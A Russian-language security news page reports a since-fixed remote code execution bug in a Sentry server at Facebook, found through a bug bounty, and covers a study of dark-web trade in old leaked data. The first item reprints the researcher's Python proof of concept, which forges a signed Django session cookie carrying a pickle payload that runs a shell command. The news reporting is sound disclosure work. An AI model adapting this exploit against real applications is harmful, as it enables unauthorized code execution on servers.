Баг на сервере Facebook позволял удаленно запустить вредоносный код

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Баг на сервере Facebook позволял удаленно запустить вредоносный код

Разработчики Facebook исправили серьезный баг, который мог привести к удаленному выполнению кода. Сама уязвимость была обнаружена на одном из серверов интернет-гиганта, о чем сообщил исследователь безопасности Дэниел Ле Галл, также известный под псевдонимом «Blaklis».

Ле Галл, работающий в SCRT Information Security, в пятницу заявил, что ему выплатили $5000 за сообщение о проблеме безопасности.

Суть уязвимости в том, что злоумышленник может выполнить произвольные команды, используя вредоносные файлы cookie.

Несмотря на то, что подобные бреши обычно довольно опасны, эксперт подчеркнул, что с помощью этого бага нельзя было получить пользовательские данные. Разработчики устранили уязвимость в этом месяце, еще до того, как была опубликована информация о ее наличии.

«Blaklis» утверждает, что недостаток был найден на одном из серверов Facebook, где было запущено программное обеспечение для сбора логов Sentry.

«Само приложение было крайне нестабильным, особенно в отношении функции сброса пароля пользователя», — объясняет специалист.

В итоге Ле Галлу удалось найти в логах детали обработки cookie, а также подробности использования приложением протокола Pickle, который может быть уязвим для различного рода манипуляций. Используя все вышеозначенные данные, эксперт мог обработать файлы cookie, которые могли запускать команды на машине.

Исследователь опубликовал PoC-код, который является небольшим файлом cookie:

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()
print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

В дарквебе формируется экономика вокруг продажи устаревших данных из утечек

В теневом интернете сформировалась и продолжает развиваться отдельная экономика, связанная с продажей данных из утечек прошлых лет. Такие массивы по-прежнему приносят прибыль, а анализ подобных угроз для компаний, допустивших компрометацию данных ранее, становится значительно сложнее. К таким выводам пришли исследователи Positive Technologies.

Как выяснилось, злоумышленники успешно продают базы данных, украденные месяцы и даже годы назад.

Монетизации таких массивов, как отмечают исследователи, способствуют громкие заголовки и то, что покупатели далеко не всегда проверяют, действительно ли предлагаемые данные уникальны и недоступны в открытом доступе.

Известны случаи, когда продавцам удавалось сбывать даже те данные, которые уже были опубликованы. Не исключено, что в таких ситуациях покупатели рассчитывают получить более полную версию массива по сравнению с той, что ранее появилась в открытом доступе.

«На рынке всегда найдутся те, кто готов продавать публичные данные под видом эксклюзивных, и те, кто готов их покупать, не проверяя источники», — говорится в обзоре.

В качестве примера в исследовании приведён запрос на базу данных МФО «Займер», датированный 2026 годом. При этом сама компрометация компании произошла ещё в 2024 году. Тогда сообщалось, что в распоряжении злоумышленников могли оказаться данные 16 млн человек.

При этом, как подчёркивают в Positive Technologies, многие сведения из старых утечек по-прежнему сохраняют актуальность. Это касается в том числе паролей и другой чувствительной информации.

На этом рынке возникают и конфликты между самими участниками. Так, в отчёте приводится пример, когда один из пользователей форума опубликовал более сотни сообщений о якобы «новых» утечках. После того как другой продавец указал на несостыковки, первый в ответ выложил в открытый доступ его личную информацию и также обвинил его в продаже уже публичных данных.

RSS: Новости на портале Anti-Malware.ru